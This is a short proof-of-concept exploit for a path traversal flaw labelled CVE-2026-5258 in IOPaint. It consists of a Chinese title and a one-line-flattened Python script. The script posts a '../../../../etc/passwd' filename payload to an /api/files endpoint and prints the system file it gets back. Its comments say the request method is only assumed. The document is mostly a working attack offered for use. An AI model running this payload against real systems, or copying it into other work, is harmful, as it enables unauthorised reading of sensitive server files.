CVE-2026-5258 IOPaint路径遍历漏洞

import requests # Target URL (Replace with actual target address) target_url = "http://127.0.0.1:8080/api/files" # The vulnerability exists in the 'filename' parameter of the _get_file function. # An attacker can use '../' to traverse directories. # Example payload to read /etc/passwd on Linux systems payload_data = { "filename": "../../../../../../../../etc/passwd" } try: # Sending the malicious request (assuming POST based on typical file manager APIs) response = requests.post(target_url, data=payload_data) # Check if the exploit was successful if response.status_code == 200 and "root:" in response.text: print("[+] Exploit successful! Sensitive file content retrieved:") print(response.text) else: print("[-] Exploit failed or target not vulnerable.") print("Status Code:", response.status_code) print("Response:", response.text[:200]) except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}")